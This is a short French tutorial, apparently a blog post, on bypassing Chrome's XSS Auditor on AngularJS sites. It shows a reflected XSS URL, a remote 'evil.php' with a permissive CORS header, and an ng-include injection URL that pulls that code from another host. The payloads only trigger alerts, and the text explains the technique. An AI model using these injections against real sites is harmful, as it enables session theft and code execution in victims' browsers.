Bypasser le filtre XSS de Chrome avec Angular

Vous connaissez certainement les failles de type “XSS” qui permettent entre autre de lancer du code JavaScript malveillant depuis le navigateur d’une cible avec tous ses droits de session en cours. Etant la faille la plus répandue sur le web , Chrome possède une protection visant à bloquer les scripts insérés dans une requête. Par définition si votre site possède par exemple une variable GET mal filtrée, le code suivant ne s’exécutera pas sur Chrome :

http://site-vulnerable.com/?variable-mal-filtree=<script>alert(1)</script>

Si on fait un petit tour dans la console de Chrome, il nous prévient qu’il a bloqué un script :

The XSS Auditor refused to execute a script in 'http://site-vulnerable.com/?variable-mal-filtree=<script>alert(1)</script>' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.

Imaginons maintenant que le site faillible utilise AngularJS. En exploitant la propriété ng-include d’Angular, que nous insérons via la variable GET, nous allons pouvoir récupérer du code distant et l’exécuter directement sur notre page. Voici un exemple de code distant, l’header permet d’autoriser notre site faillible à inclure ce morceau de code sachant qu’ils ne sont pas sur le même domaine :

// evil.php
<?php  
header("Access-Control-Allow-Origin: *");
?>

<div style="height:100vh" onmouseover="alert('xss');">
<h1>I'm evil !</h1>
</div>

Il ne reste plus qu’à préparer notre XSS en utilisant ng-include :

http://site-vulnerable.com/?variable-mal-filtree=<div ng-include="http://site-distant.com/evil.php"></div>